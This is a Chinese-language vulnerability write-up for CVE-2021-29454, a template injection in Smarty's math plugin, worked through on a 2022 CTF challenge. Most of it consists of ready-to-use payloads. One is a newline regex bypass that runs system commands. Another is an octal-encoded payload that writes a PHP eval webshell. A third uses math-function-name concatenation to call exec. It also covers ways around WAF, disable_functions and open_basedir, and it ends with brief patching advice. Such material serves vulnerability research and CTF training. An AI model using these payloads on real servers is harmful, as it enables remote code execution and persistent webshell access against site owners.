CVE-2021-29454—Smarty模板注入分析复现
字数 1070 2025-08-29 08:32:01
Smarty模板注入漏洞(CVE-2021-29454)分析与利用指南
漏洞概述
Smarty是PHP的模板引擎,用于分离表示层(HTML/CSS)与应用程序逻辑。在3.1.42和4.0.2版本之前,存在一个模板注入漏洞,允许攻击者通过恶意构造的数学字符串执行任意PHP代码。
影响版本:
- Smarty 3.x < 3.1.42
- Smarty 4.x < 4.0.2
漏洞原理
漏洞位于/plugins/function.math.php文件中,未对数学函数的输入进行充分过滤。攻击者可以通过精心构造的数学表达式实现代码注入。
修复对比
官方在修复版本中添加了以下过滤代码:
// Remove whitespaces
$equation = preg_replace('/\s+/', '', $equation);
// Adapted from https://www.php.net/manual/en/function.eval.php#107377
$number = '(?:\d+(?:\.\d+)?|pi|π)'; // What is a number
$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
$operators = '[+\-\*\/%^&|]'; // Allowed math operators
$regexp = '/^('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*$(?1)*$)|$(?1)*$|'.$operators.')*$/';
if (!preg_match($regexp, $equation)) {
trigger_error("math: illegal characters", E_USER_WARNING);
return;
}
漏洞利用方法
姿势一:换行绕过正则
- 设置Cookie:
login=1 - POST传参(URL编码):
{math equation="x\n).system('id');//" x=1} - 绕过
disable_functions和open_basedir限制:- 使用
symlink()函数创建符号链接 - 或使用
ini_set()临时修改open_basedir
- 使用
姿势二:八进制编码执行
使用八进制编码直接写入一句话木马:
eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}
解码后相当于执行:
file_put_contents("a.php", "<?php eval(\$_REQUEST['Pack']);?>");
姿势三:数学函数拼接执行
利用数学函数名拼接执行命令:
{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1"}
解码后相当于执行:
exec('cat /flag')>1
实战案例:红明谷2022 Smarty calculator
环境分析
- 版本检测:
{system('id')}可返回Smarty版本3.1.39 - 源码泄露:访问
www.zip获取源码 - WAF过滤:检测
php、<、flag等关键字 - 登录检查:需要设置
loginCookie
绕过技巧
- WAF绕过:使用八进制编码或字符串拼接
- 正则绕过:使用换行符
\n绕过正则检测 - 安全限制绕过:
- 使用
symlink()绕过open_basedir - 使用
ini_set()临时修改配置
- 使用
完整利用步骤
- 设置Cookie:
login=1 - 发送Payload(选择一种方式):
- 直接执行命令:
{math equation="x\n).system('cat /flag');//" x=1} - 写入Webshell:
eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}
- 直接执行命令:
- 访问写入的Webshell获取flag
防御措施
- 升级Smarty到最新版本(3.1.42+/4.0.2+)
- 对用户输入进行严格过滤
- 禁用不必要的PHP函数
- 设置合理的
open_basedir - 使用安全的模板引擎配置
参考链接
- 官方修复:https://github.com/smarty-php/smarty/commit/...
- 漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29454